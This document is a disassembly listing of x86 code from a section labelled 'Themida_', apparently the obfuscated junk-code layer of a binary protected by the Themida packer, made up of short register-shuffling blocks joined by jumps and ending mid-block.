jmp loc_5AAF98
; ---------------------------------------------------------------------------
loc_59878D: ; CODE XREF: Themida_:005A11C2j
pop ebx
xor al, 99h
sub al, 0F0h
jmp loc_59CA56
; ---------------------------------------------------------------------------
loc_598797: ; CODE XREF: Themida_:005A25DEj
push esi
pop ebx
mov esi, [esp]
add esp, 4
sub edi, 42B92785h
push edx
push eax
mov eax, 0CDD71A9h
mov edx, eax
pop eax
and edx, 18DB69E9h
not edx
shr edx, 6
sub edx, 0B47B31CCh
add edi, edx
jmp loc_59F5E9
; ---------------------------------------------------------------------------
loc_5987C7: ; CODE XREF: Themida_:0059A0FFj
neg bh
push 0
jmp loc_599152
; ---------------------------------------------------------------------------
loc_5987D3: ; CODE XREF: Themida_:005AA22Bj
pop edi
pop edi
xchg edx, [esp]
mov esp, [esp]
jmp loc_59B300
; ---------------------------------------------------------------------------
loc_5987E0: ; CODE XREF: Themida_:005A418Fj
mov ebx, esp
add ebx, 4
push ecx
mov ecx, 4
add ebx, ecx
pop ecx
jmp loc_59E919
; ---------------------------------------------------------------------------
loc_5987F6: ; CODE XREF: Themida_:00599112j
push 357Dh
mov [esp], edx
mov edx, esp
add edx, 4
push ecx
mov ecx, 2FF71434h
jmp loc_595FC0
; ---------------------------------------------------------------------------
loc_598811: ; CODE XREF: Themida_:005A1FE4j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_5A2394
; ---------------------------------------------------------------------------
loc_598828: ; CODE XREF: Themida_:0059FAD2j
push esi
mov esi, 459A382Dh
not esi
jmp loc_5A4961
; ---------------------------------------------------------------------------
loc_598835: ; CODE XREF: Themida_:005994C5j
push dword ptr [esp+4]
pop edx
jmp loc_5A6B81
; ---------------------------------------------------------------------------
loc_59883F: ; CODE XREF: Themida_:00598E63j
xor esi, ecx
pop ecx
add esi, 5CD8C131h
sub ecx, 3B1D19A8h
add ecx, esi
jmp loc_5A3326
; ---------------------------------------------------------------------------
loc_598855: ; CODE XREF: Themida_:005A68CEj
mov eax, 4
add ebp, eax
pop eax
xor ebp, [esp]
jmp loc_5A93ED
; ---------------------------------------------------------------------------
loc_598865: ; CODE XREF: Themida_:005A2A32j
pop ebx
push eax
mov eax, 56D10857h
neg eax
xor eax, 0A92EF7ADh
add ebx, eax
pop eax
push ebp
mov ebp, 2
sub ebx, ebp
pop ebp
jmp loc_5A3131
; ---------------------------------------------------------------------------
loc_598884: ; CODE XREF: Themida_:005A52ADj
push 2B9Dh
jmp loc_59E8A2
; ---------------------------------------------------------------------------
loc_59888E: ; CODE XREF: Themida_:005A9A9Cj
push 295869BBh
pop ebp
shr ebp, 2
xor ebp, 62D43D0Fh
mov ebx, ebp
pop ebp
add ebx, 1
sub ebx, 0EF401DABh
jmp loc_5A8567
; ---------------------------------------------------------------------------
loc_5988AE: ; CODE XREF: Themida_:005AA01Dj
add esp, 4
push edx
jmp loc_5A2135
; ---------------------------------------------------------------------------
loc_5988B7: ; CODE XREF: Themida_:005A36C9j
push 10F8h
mov [esp], ebx
push edx
sub esp, 4
mov [esp], ebp
mov ebp, 2F92CA1h
push edi
push esi
jmp loc_59912F
; ---------------------------------------------------------------------------
loc_5988D5: ; CODE XREF: Themida_:0059AD99j
not edi
inc edi
not edi
or edi, 55EE3A8Ah
xor edi, 0FDEEFFBEh
add ecx, edi
pop edi
jmp loc_597AD2
; ---------------------------------------------------------------------------
loc_5988EE: ; CODE XREF: Themida_:005A139Bj
push esi
mov esi, 4
jmp loc_5AA9F4
; ---------------------------------------------------------------------------
loc_5988F9: ; CODE XREF: Themida_:00599E1Fj
or eax, 7730459Eh
jmp loc_5A1266
; ---------------------------------------------------------------------------
loc_598903: ; CODE XREF: Themida_:0059A6A1j
mov esi, 3ABD658Fh
xor edi, esi
pop esi
jmp loc_5A5E72
; ---------------------------------------------------------------------------
loc_598910: ; CODE XREF: Themida_:0059EACCj
pop edx
jmp loc_5A535C
; ---------------------------------------------------------------------------
loc_598916: ; CODE XREF: Themida_:005A10BAj
pop edx
or esi, 5CF55B84h
push 520Ch
mov [esp], esi
jmp loc_5A6872
; ---------------------------------------------------------------------------
loc_59892A: ; CODE XREF: Themida_:005AA05Dj
mov [esp], esi
push edi
mov edi, 6C3C653Bh
jmp loc_5A14E3
; ---------------------------------------------------------------------------
loc_598938: ; CODE XREF: Themida_:005A1B96j
pop esi
or ecx, 303542A4h
sub ecx, 63885A31h
mov ebp, ecx
jmp loc_5A63A4
; ---------------------------------------------------------------------------
loc_59894C: ; CODE XREF: Themida_:0059D346j
pop eax
xor al, ch
push dword ptr [esp]
jmp loc_5A639E
; ---------------------------------------------------------------------------
loc_598957: ; CODE XREF: Themida_:005A39B8j
pop esp
push 5ED8h
mov [esp], ebx
jmp loc_5A143C
; ---------------------------------------------------------------------------
loc_598965: ; CODE XREF: Themida_:005AB11Bj
xchg edx, [esp]
pop esp
add al, bl
mov ebx, [esp]
jmp loc_59A7B5
; ---------------------------------------------------------------------------
loc_598973: ; CODE XREF: Themida_:00598C9Dj
or esi, 56787D0Eh
not esi
jmp loc_59DBF9
; ---------------------------------------------------------------------------
loc_598980: ; CODE XREF: Themida_:005A648Bj
add esi, 314C78CFh
add esi, 110E0D70h
add ebp, esi
pop esi
add ebp, 788514C5h
xor ebp, 9863DD6h
add ebp, 0F026EAAh
or edx, ebp
pop ebp
shr edx, 4
not edx
inc edx
shr edx, 8
sub edx, 0D8F85DFDh
jmp loc_5A3B40
; ---------------------------------------------------------------------------
loc_5989B8: ; CODE XREF: Themida_:0059D1D8j
pop ecx
push bx
jmp loc_5A707B
; ---------------------------------------------------------------------------
loc_5989C0: ; CODE XREF: Themida_:0059ACDFj
sub eax, 34353129h
jmp loc_59B5E8
; ---------------------------------------------------------------------------
loc_5989CA: ; CODE XREF: Themida_:005A30C8j
pop ecx
jmp loc_598ADB
; ---------------------------------------------------------------------------
loc_5989D0: ; CODE XREF: Themida_:005A14F1j
xchg ebp, [esp]
not ebp
xchg ebp, [esp]
pop ecx
xor edi, ecx
jmp loc_5A3CF0
; ---------------------------------------------------------------------------
loc_5989E0: ; CODE XREF: Themida_:0059D58Ej
push 77CEh
mov [esp], edx
mov edx, 1E2A4C14h
shr edx, 6
shr edx, 6
shl edx, 4
push ebp
mov ebp, 0F4E1001h
jmp loc_5A433D
; ---------------------------------------------------------------------------
loc_598A01: ; CODE XREF: Themida_:005A11AAj
add esi, 59A04BF4h
sub esi, 40150C63h
push eax
jmp loc_59C611
; ---------------------------------------------------------------------------
loc_598A13: ; CODE XREF: Themida_:0059D4FAj
pop ebp
add esp, 4
add esi, 2
jmp loc_59DAE0
; ---------------------------------------------------------------------------
loc_598A22: ; CODE XREF: Themida_:005A9839j
push ebp
jmp loc_5A05B1
; ---------------------------------------------------------------------------
loc_598A28: ; CODE XREF: Themida_:005A0BE9j
sub ch, 94h
sub ch, 1Fh
add ch, 0FEh
jmp loc_5A53B0
; ---------------------------------------------------------------------------
loc_598A36: ; CODE XREF: Themida_:005A0FA4j
pop esp
mov [esp], ebx
push ebp
jmp loc_5A9EE0
; ---------------------------------------------------------------------------
loc_598A40: ; CODE XREF: Themida_:005AAE5Cj
add edx, 4
jmp loc_59E59A
; ---------------------------------------------------------------------------
loc_598A4B: ; CODE XREF: Themida_:005A83C3j
add esp, 4
shl eax, 4
jmp loc_59C857
; ---------------------------------------------------------------------------
loc_598A56: ; CODE XREF: Themida_:00596414j
push 4F3Fh
jmp loc_5A7192
; ---------------------------------------------------------------------------
loc_598A60: ; CODE XREF: Themida_:0059EE97j
add edi, 29B40EC2h
jmp loc_59FFBD
; ---------------------------------------------------------------------------
loc_598A6B: ; CODE XREF: Themida_:0059D36Aj
mov edx, 4
jmp loc_598263
; ---------------------------------------------------------------------------
loc_598A75: ; CODE XREF: Themida_:005A4B1Fj
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_598A7A: ; CODE XREF: Themida_:005A8EF1j
push ebp
mov ebp, 4
add eax, ebp
pop ebp
add eax, 4
jmp loc_5A5DAD
; ---------------------------------------------------------------------------
loc_598A8B: ; CODE XREF: Themida_:005A3CC2j
mov esp, [esp]
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
pop eax
mov ebx, [esp]
add esp, 4
push 1551h
mov [esp], eax
mov eax, 213135F7h
add eax, 0DECECA0Dh
push eax
mov eax, 1BA823E0h
add ebx, 30C24173h
jmp loc_5A3825
; ---------------------------------------------------------------------------
loc_598AC5: ; CODE XREF: Themida_:005A620Cj
sub esp, 4
jmp loc_5A2021
; ---------------------------------------------------------------------------
loc_598ACD: ; CODE XREF: Themida_:005A8443j
mov esp, [esp]
mov [esp], esi
push esp
pop esi
push ebp
jmp loc_5A55C4
; ---------------------------------------------------------------------------
loc_598ADB: ; CODE XREF: Themida_:005989CBj
sub esp, 4
jmp loc_59AB92
; ---------------------------------------------------------------------------
loc_598AE3: ; CODE XREF: Themida_:00596296j
add esp, 4
push bx
mov bh, 47h
add al, bh
pop bx
sub al, 84h
add al, 86h
add al, bl
jmp loc_59C10F
; ---------------------------------------------------------------------------
loc_598AF9: ; CODE XREF: Themida_:005A609Aj
push ecx
xor dword ptr [esp], 3439299Eh
mov edx, [esp]
add esp, 4
push ecx
jmp loc_59D2C5
; ---------------------------------------------------------------------------
loc_598B0D: ; CODE XREF: Themida_:005A9F23j
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
and [esp], al
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_598B26: ; CODE XREF: Themida_:00597237j
mov ecx, 6D59074Bh
jmp loc_5AA5B3
; ---------------------------------------------------------------------------
push 48F3h
jmp loc_5A0476
; ---------------------------------------------------------------------------
loc_598B3A: ; CODE XREF: Themida_:0059A6C9j
shr edx, 2
xor edx, 720E162Bh
xor edx, 3244DA40h
jmp loc_5A4B11
; ---------------------------------------------------------------------------
loc_598B4E: ; CODE XREF: Themida_:005AB138j
pop eax
or eax, ebp
pop ebp
jmp loc_59A695
; ---------------------------------------------------------------------------
loc_598B57: ; CODE XREF: Themida_:005A1EEFj
mov edi, ebp
pop ebp
jmp loc_5A8179
; ---------------------------------------------------------------------------
loc_598B5F: ; CODE XREF: Themida_:005A245Bj
push small 0CCCh
mov [esp], cx
jmp loc_5A05CA
; ---------------------------------------------------------------------------
loc_598B6C: ; CODE XREF: Themida_:005AA704j
mov ebp, [esp]
add esp, 4
push ecx
mov ecx, 1BB0763Bh
sub edi, ecx
jmp loc_596419
; ---------------------------------------------------------------------------
loc_598B7F: ; CODE XREF: Themida_:005A88D6j
add ecx, ebp
push ebx
mov ebx, 4FFE33C4h
jmp loc_59DFC7
; ---------------------------------------------------------------------------
loc_598B8C: ; CODE XREF: Themida_:005A6D61j
mov edx, 6AE12983h
xor edx, 5D720E47h
sub eax, 7C43308Bh
sub eax, edx
jmp loc_599844
; ---------------------------------------------------------------------------
loc_598BA3: ; CODE XREF: Themida_:0059EB4Fj
mov [esp], ecx
mov ecx, esp
push ebx
jmp loc_5992E2
; ---------------------------------------------------------------------------
loc_598BAE: ; CODE XREF: Themida_:005A5294j
or esi, 23CE4E75h
push edx
push 4F5D5567h
pop edx
add edx, 1
jmp loc_596A46
; ---------------------------------------------------------------------------
loc_598BC3: ; CODE XREF: Themida_:005AA274j
pop ecx
shl dl, 5
shr dl, 6
push 7B7Dh
jmp loc_59813F
; ---------------------------------------------------------------------------
loc_598BD4: ; CODE XREF: Themida_:0059ED65j
mov [esp], ebx
jmp loc_5A9D7A
; ---------------------------------------------------------------------------
loc_598BDC: ; CODE XREF: Themida_:005A7C8Aj
add [esp+4], ebx
add dword ptr [esp+4], 0D4258E3h
push 6443h
mov [esp], edi
push ebp
mov ebp, 49DE1F5Bh
mov edi, ebp
pop ebp
add [esp+8], edi
jmp loc_59F2A8
; ---------------------------------------------------------------------------
loc_598C02: ; CODE XREF: Themida_:005A5813j
push ebx
mov ebx, esp
jmp loc_59AA3C
; ---------------------------------------------------------------------------
loc_598C0A: ; CODE XREF: Themida_:0059ED2Dj
sub edx, esi
push dword ptr [esp]
pop esi
jmp loc_59E14E
; ---------------------------------------------------------------------------
loc_598C15: ; CODE XREF: Themida_:0059B34Aj
neg edx
xor edx, 0FFBAFF16h
mov ebp, edx
pop edx
add edi, ebp
jmp loc_59D1A1
; ---------------------------------------------------------------------------
loc_598C27: ; CODE XREF: Themida_:005A3DD5j
sub esi, 5E9C2135h
mov edi, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
jmp loc_5A3FF3
; ---------------------------------------------------------------------------
loc_598C40: ; CODE XREF: Themida_:0059B710j
mov ebx, 0FEF3F5FFh
xor esi, ebx
jmp loc_59DCFE
; ---------------------------------------------------------------------------
loc_598C4C: ; CODE XREF: Themida_:0059C89Aj
push esi
mov esi, esp
jmp loc_5A9B22
; ---------------------------------------------------------------------------
loc_598C54: ; CODE XREF: Themida_:005AAE25j
mov edx, 78496742h
neg edx
inc edx
xor edx, 87B698BBh
sub ebp, 4F1160FDh
add ebp, edx
add ebp, 4F1160FDh
mov edx, [esp]
add esp, 4
push edx
jmp loc_59A957
; ---------------------------------------------------------------------------
loc_598C7C: ; CODE XREF: Themida_:0059B565j
xchg ecx, [esp]
jmp loc_59E7B0
; ---------------------------------------------------------------------------
loc_598C84: ; CODE XREF: Themida_:005A665Cj
shr esi, 7
jmp loc_5A4D5C
; ---------------------------------------------------------------------------
loc_598C8C: ; CODE XREF: Themida_:0059B2CBj
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_598C91: ; CODE XREF: Themida_:0059D8F7j
push esi
mov esi, 341B3EA7h
xor esi, 611B606Ch
jmp loc_598973
; ---------------------------------------------------------------------------
loc_598CA2: ; CODE XREF: Themida_:00599505j
xor edi, 5AF7FB44h
sub esi, edi
pop edi
xchg esi, [esp]
mov esp, [esp]
mov [esp], eax
push dword ptr [esp+4]
pop eax
jmp loc_5A7C07
; ---------------------------------------------------------------------------
loc_598CBE: ; CODE XREF: Themida_:005A0612j
pop esi
jmp loc_5A6319
; ---------------------------------------------------------------------------
loc_598CC4: ; CODE XREF: Themida_:0059A353j
and eax, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
shr eax, 0Ah
xor eax, ecx
jmp loc_596136
; ---------------------------------------------------------------------------
loc_598CDF: ; CODE XREF: Themida_:005A9353j
mov edi, esp
push ecx
jmp loc_5A4D05
; ---------------------------------------------------------------------------
loc_598CE7: ; CODE XREF: Themida_:005A3F1Ej
add esp, 2
jmp loc_59DD09
; ---------------------------------------------------------------------------
loc_598CF2: ; CODE XREF: Themida_:0059EAE1j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_598D0A: ; CODE XREF: Themida_:0059D137j
pop edi
push ebp
mov ebp, 5DE66211h
jmp loc_59A456
; ---------------------------------------------------------------------------
loc_598D16: ; CODE XREF: Themida_:00599EADj
sub ebp, ecx
pop ecx
inc ebp
not ebp
add ebp, 71C24B43h
add ebp, 16FE5B84h
jmp loc_5A236B
; ---------------------------------------------------------------------------
loc_598D2D: ; CODE XREF: Themida_:0059936Bj
push ebx
jmp loc_5968FD
; ---------------------------------------------------------------------------
loc_598D33: ; CODE XREF: Themida_:005AAD2Bj
sub bl, 2Fh
add bl, 48h
sub al, bl
pop ebx
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
push 5A3h
mov [esp], ecx
push eax
push ebx
push 251Dh
mov [esp], esp
push ebp
push eax
jmp loc_5AAFCD
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5A693D
; ---------------------------------------------------------------------------
loc_598D6D: ; CODE XREF: Themida_:005961C9j
mov [esp], ecx
mov ch, 0F8h
sub ch, 36h
shr ch, 5
jmp loc_59827F
; ---------------------------------------------------------------------------
loc_598D7D: ; CODE XREF: Themida_:005A17BBj
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
shr edx, 6
jmp loc_5A2793
; ---------------------------------------------------------------------------
loc_598D97: ; CODE XREF: Themida_:005A9242j
mov ebx, [esp]
jmp loc_597770
; ---------------------------------------------------------------------------
loc_598D9F: ; CODE XREF: Themida_:005A0041j
push esi
mov esi, 7F285328h
add ebp, esi
pop esi
add ebp, ebx
sub ebp, 7F285328h
pop ebx
sub edx, ebp
pop ebp
sub edx, 569967F0h
jmp loc_5A5D4B
; ---------------------------------------------------------------------------
loc_598DBF: ; CODE XREF: Themida_:0059BAECj
add edi, 0FFFFFFFFh
inc edi
and edi, 58E2102Bh
inc edi
add edi, 0DA314715h
or ebp, edi
pop edi
push esi
mov esi, 781A75DCh
xor esi, 36530A0Bh
push 0
add dword ptr [esp], 51071CA8h
sub [esp], esi
sub dword ptr [esp], 51071CA8h
jmp loc_5A440F
; ---------------------------------------------------------------------------
loc_598DFD: ; CODE XREF: Themida_:0059A5F3j
pop esp
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_598E03: ; CODE XREF: Themida_:005A8D52j
or bh, 0E2h
neg bh
jmp loc_599DBE
; ---------------------------------------------------------------------------
loc_598E0D: ; CODE XREF: Themida_:005A9291j
mov [esp], edx
push 4FD76888h
mov edx, [esp]
jmp loc_5A76D1
; ---------------------------------------------------------------------------
loc_598E1D: ; CODE XREF: Themida_:005A3D3Fj
dec esi
jmp loc_5A3422
; ---------------------------------------------------------------------------
loc_598E23: ; CODE XREF: Themida_:005A55D6j
mov dx, [esp]
add esp, 2
push edx
push eax
mov al, 0A2h
mov dl, al
pop eax
add bl, 0A8h
jmp loc_59DE35
; ---------------------------------------------------------------------------
loc_598E3C: ; CODE XREF: Themida_:005A7928j
mov [esp], ax
jmp loc_59D973
; ---------------------------------------------------------------------------
loc_598E45: ; CODE XREF: Themida_:0059CE4Fj
pop esp
mov [esp], edi
jmp loc_59F312
; ---------------------------------------------------------------------------
loc_598E4E: ; CODE XREF: Themida_:005A403Bj
sub ecx, ebp
sub ecx, 6D5453Bh
push esi
mov esi, 537212F6h
inc esi
push ecx
mov ecx, 49284384h
jmp loc_59883F
; ---------------------------------------------------------------------------
loc_598E68: ; CODE XREF: Themida_:005A6FD8j
pop esp
xchg ecx, [esp]
mov esp, [esp]
div cl
jmp loc_5A65F1
; ---------------------------------------------------------------------------
loc_598E76: ; CODE XREF: Themida_:005A9C5Fj
add edx, eax
add edx, 35CD32FCh
push eax
jmp loc_5A70A9
; ---------------------------------------------------------------------------
loc_598E84: ; CODE XREF: Themida_:005A8653j
sub bl, 0AFh
sub bl, dl
add bl, 0AFh
sub esp, 2
mov [esp], cx
jmp loc_59A6F1
; ---------------------------------------------------------------------------
loc_598E9B: ; CODE XREF: Themida_:005A10DDj
pop edx
add esp, 4
push cx
jmp loc_5A1634
; ---------------------------------------------------------------------------
loc_598EA9: ; CODE XREF: Themida_:005A9E6Cj
pop dword ptr [esp]
mov esp, [esp]
jmp loc_597A58
; ---------------------------------------------------------------------------
loc_598EB4: ; CODE XREF: Themida_:005A8AEDj
pop edx
jmp loc_59859A
; ---------------------------------------------------------------------------
loc_598EBA: ; CODE XREF: Themida_:0059E126j
xor al, 21h
and al, 7Eh
and al, 1Eh
jmp loc_5A774B
; ---------------------------------------------------------------------------
loc_598EC5: ; CODE XREF: Themida_:005A3923j
add dword ptr [esp], 2B590197h
pop ecx
jmp loc_59FDA1
; ---------------------------------------------------------------------------
loc_598ED2: ; CODE XREF: Themida_:005AA78Fj
add dword ptr [esp], 4
pop edx
add edx, 4
push 3F5Ch
mov [esp], ecx
sub esp, 4
mov [esp], ebx
mov ebx, 3D6A02F2h
add ebx, 4E1A2C75h
jmp loc_597A60
; ---------------------------------------------------------------------------
loc_598EFE: ; CODE XREF: Themida_:00597C66j
push dword ptr [edi+eax*4]
jmp loc_59EC76
; ---------------------------------------------------------------------------
loc_598F06: ; CODE XREF: Themida_:005A74AAj
mov ebx, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
jmp loc_596EE1
; ---------------------------------------------------------------------------
loc_598F1E: ; CODE XREF: Themida_:0059ABECj
push edx
mov edx, 19417D80h
sub ebx, edx
jmp loc_5A3B73
; ---------------------------------------------------------------------------
loc_598F2B: ; CODE XREF: Themida_:0059CEBCj
mov bh, 4Bh
xor cl, bh
jmp loc_5AAE42
; ---------------------------------------------------------------------------
loc_598F34: ; CODE XREF: Themida_:0059A037j
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push ecx
jmp loc_59D1EC
; ---------------------------------------------------------------------------
loc_598F46: ; CODE XREF: Themida_:005A58B2j
xchg ebx, [esp]
jmp loc_5A713A
; ---------------------------------------------------------------------------
loc_598F4E: ; CODE XREF: Themida_:0059D7FFj
add ebp, 52232E22h
pop ecx
jmp loc_59CB45
; ---------------------------------------------------------------------------
loc_598F5A: ; CODE XREF: Themida_:0059B30Bj
mov edi, [esp]
add esp, 4
add esp, 4
sub esp, 4
mov [esp], ebp
jmp loc_5A538A
; ---------------------------------------------------------------------------
loc_598F77: ; CODE XREF: Themida_:0059DF81j
mov ebp, 5048102Bh
push edx
mov edx, 42E2A59h
add ebp, edx
jmp loc_59BC6C
; ---------------------------------------------------------------------------
loc_598F89: ; CODE XREF: Themida_:00597089j
mov esi, 4
jmp loc_5A2912
; ---------------------------------------------------------------------------
loc_598F93: ; CODE XREF: Themida_:0059B808j
mov dh, al
jmp loc_59EB71
; ---------------------------------------------------------------------------
loc_598F9A: ; CODE XREF: Themida_:00597DD7j
push ebp
jmp loc_5A1C28
; ---------------------------------------------------------------------------
loc_598FA0: ; CODE XREF: Themida_:00596CE1j
mov [esp], ebx
push dword ptr [esp+4]
mov ebx, [esp]
jmp loc_5A4E7C
; ---------------------------------------------------------------------------
loc_598FAF: ; CODE XREF: Themida_:005A7E2Fj
or edi, 0BEE5F14h
add edi, 0CF9D45Fh
add ebp, edi
jmp loc_5A2498
; ---------------------------------------------------------------------------
loc_598FC2: ; CODE XREF: Themida_:005A9D99j
mov ebp, 58C6165Ah
xor ebp, 19BF2694h
inc ebp
sub ebp, 7DDC27F0h
jmp loc_5A39BD
; ---------------------------------------------------------------------------
loc_598FD9: ; CODE XREF: Themida_:005A37CAj
shr esi, 2
jmp loc_5A21AC
; ---------------------------------------------------------------------------
loc_598FE1: ; CODE XREF: Themida_:0059FA45j
add edi, 46A6542Eh
shr edi, 6
xor edi, 54302540h
not edi
sub edi, 0A8D7CF01h
add esi, edi
jmp loc_5A6750
; ---------------------------------------------------------------------------
loc_598FFF: ; CODE XREF: Themida_:0059BCB5j
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_5AAECE
; ---------------------------------------------------------------------------
loc_59900F: ; CODE XREF: Themida_:005992B6j
push edx
mov edx, 162A351Ah
xor edx, 5E54741Dh
and edx, 25A867F8h
push eax
mov eax, 119C6258h
xor edx, eax
pop eax
xor edx, 26F94C42h
sub edi, edx
pop edx
pop eax
xchg edi, [esp]
mov esp, [esp]
bts [esp], ax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_599045: ; CODE XREF: Themida_:005AB4E5j
pop ebx
jmp loc_59CB25
; ---------------------------------------------------------------------------
loc_59904B: ; CODE XREF: Themida_:00597ABAj
push esi
mov esi, 60D74F50h
jmp loc_5A647C
; ---------------------------------------------------------------------------
loc_599056: ; CODE XREF: Themida_:005A6AECj
pop esi
jmp loc_5AA809
; ---------------------------------------------------------------------------
loc_59905C: ; CODE XREF: Themida_:0059A9CEj
pop esp
mov [esp], ebp
mov ebp, 3F207A37h
jmp loc_59F7E3
; ---------------------------------------------------------------------------
loc_59906A: ; CODE XREF: Themida_:005A315Aj
sub esp, 4
mov [esp], edi
push 6B72h
mov [esp], edx
mov edx, 1
jmp loc_59FDB7
; ---------------------------------------------------------------------------
loc_599085: ; CODE XREF: Themida_:005992DDj
or ebp, 7CF529Bh
jmp loc_5A900A
; ---------------------------------------------------------------------------
loc_599090: ; CODE XREF: Themida_:005A66A3j
mov eax, [esp]
add esp, 4
jmp loc_59713B
; ---------------------------------------------------------------------------
loc_59909E: ; CODE XREF: Themida_:0059C3CEj
add esp, 4
push eax
push ebp
mov ebp, 381E51BBh
jmp loc_5A9EF2
; ---------------------------------------------------------------------------
loc_5990B0: ; CODE XREF: Themida_:0059BAA6j
add ax, bx
push edx
mov dx, 4655h
sub dx, 2F8Ch
sub ax, 6FE7h
jmp loc_5A9044
; ---------------------------------------------------------------------------
loc_5990C6: ; CODE XREF: Themida_:005A2AA6j
xor ebx, 0EF832712h
add esi, 69C75445h
sub esi, ebx
jmp loc_5A4279
; ---------------------------------------------------------------------------
loc_5990D9: ; CODE XREF: Themida_:0059DE80j
mov ebp, 1C82672Ch
sub ebx, ebp
pop ebp
add ebx, 12E54C14h
sub ebx, ecx
sub ebx, 12E54C14h
add ebx, 1C82672Ch
sub ebx, 3C013B30h
pop ecx
jmp loc_59E26D
; ---------------------------------------------------------------------------
loc_599101: ; CODE XREF: Themida_:005A0211j
add esp, 4
jmp loc_59CF1F
; ---------------------------------------------------------------------------
loc_59910C: ; CODE XREF: Themida_:005A9B1Dj
add esp, 4
jmp loc_5987F6
; ---------------------------------------------------------------------------
loc_599117: ; CODE XREF: Themida_:005A1437j
and ebp, 39DC5313h
shl ebp, 1
sub esp, 4
mov [esp], edi
mov edi, 5B7B6EA0h
jmp loc_5982EC
; ---------------------------------------------------------------------------
loc_59912F: ; CODE XREF: Themida_:005988D0j
mov esi, 4707612Bh
mov edi, esi
jmp loc_5A7D3D
; ---------------------------------------------------------------------------
loc_59913B: ; CODE XREF: Themida_:005AA282j
mov [esp], edx
push 1F60h
jmp loc_59A989
; ---------------------------------------------------------------------------
loc_599148: ; CODE XREF: Themida_:005A6CC6j
sub esi, ecx
pop ecx
add esi, ecx
jmp loc_59C21D
; ---------------------------------------------------------------------------
loc_599152: ; CODE XREF: Themida_:005987CEj
sub byte ptr [esp], 28h
sub [esp], bh
add byte ptr [esp], 28h
mov bh, [esp]
add esp, 4
dec bh
jmp loc_59F32A
; ---------------------------------------------------------------------------
loc_59916A: ; CODE XREF: Themida_:0059AE86j
xor [esp], esi
xor esi, [esp]
pop esp
push eax
jmp loc_5AAAFC
; ---------------------------------------------------------------------------
loc_599177: ; CODE XREF: Themida_:005A94A2j
push dword ptr [esp+4]
jmp loc_5964F2
; ---------------------------------------------------------------------------
loc_599180: ; CODE XREF: Themida_:005976D9j
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
jmp loc_5A1C6B
; ---------------------------------------------------------------------------
mov eax, [esp]
push edi
jmp loc_59988D
; ---------------------------------------------------------------------------
loc_59919A: ; CODE XREF: Themida_:005A1342j
push esp
pop eax
jmp loc_5AB45A
; ---------------------------------------------------------------------------
loc_5991A1: ; CODE XREF: Themida_:00597325j
mov [esp], edi
mov edi, 718A05C5h
jmp loc_5A913C
; ---------------------------------------------------------------------------
loc_5991AE: ; CODE XREF: Themida_:005A42DCj
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_59B4A2
; ---------------------------------------------------------------------------
loc_5991C2: ; CODE XREF: Themida_:00597E66j
mov ebp, 1DDA5A68h
jmp loc_5AAA7E
; ---------------------------------------------------------------------------
loc_5991CC: ; CODE XREF: Themida_:005AA79Bj
add ebx, esi
pop esi
jmp loc_5A4555
; ---------------------------------------------------------------------------
loc_5991D4: ; CODE XREF: Themida_:005A6BBEj
push esp
jmp loc_5A46FC
; ---------------------------------------------------------------------------
loc_5991DA: ; CODE XREF: Themida_:0059784Ej
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
jmp loc_59CCBE
; ---------------------------------------------------------------------------
loc_5991F1: ; CODE XREF: Themida_:005AA11Fj
mov esp, [esp]
mov [esp], eax
mov eax, 4AC2139Ah
jmp loc_5A6583
; ---------------------------------------------------------------------------
loc_599201: ; CODE XREF: Themida_:005A44DCj
shl edx, 1
push dword ptr [edi+24h]
sub esp, 4
mov [esp], ebp
pop dword ptr [edi+24h]
push dword ptr [esp]
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push esi
mov esi, esp
add esi, 4
sub esp, 4
mov [esp], ebx
mov ebx, 4
add esi, ebx
pop ebx
xchg esi, [esp]
pop esp
push ebp
push esp
mov ebp, [esp]
add esp, 4
jmp loc_5A3672
; ---------------------------------------------------------------------------
loc_599249: ; CODE XREF: Themida_:005AAD23j
pop dword ptr [esp]
pop esp
jmp loc_59CE86
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_599262: ; CODE XREF: Themida_:005A6C4Fj
mov esi, 2
mov eax, esi
mov esi, [esp]
add esp, 4
add edi, eax
mov eax, [esp]
push esi
jmp loc_5A132F
; ---------------------------------------------------------------------------
loc_59927A: ; CODE XREF: Themida_:0059A270j
mov ebx, 375494h
sub ebx, 0BC5D1A64h
sub ecx, ebx
pop ebx
add ecx, ebx
add ecx, 43DA3A30h
push dword ptr [esp]
pop ebx
jmp loc_5AB339
; ---------------------------------------------------------------------------
loc_599299: ; CODE XREF: Themida_:0059A475j
add esp, 4
push 63EDh
jmp loc_59F96E
; ---------------------------------------------------------------------------
loc_5992A9: ; CODE XREF: Themida_:0059E830j
pop esp
mov [esp], eax
mov eax, esp
jmp loc_59B05C
; ---------------------------------------------------------------------------
loc_5992B4: ; CODE XREF: Themida_:0059979Dj
add edi, eax
jmp loc_59900F
; ---------------------------------------------------------------------------
loc_5992BB: ; CODE XREF: Themida_:005A2AFEj
xchg edx, [esp]
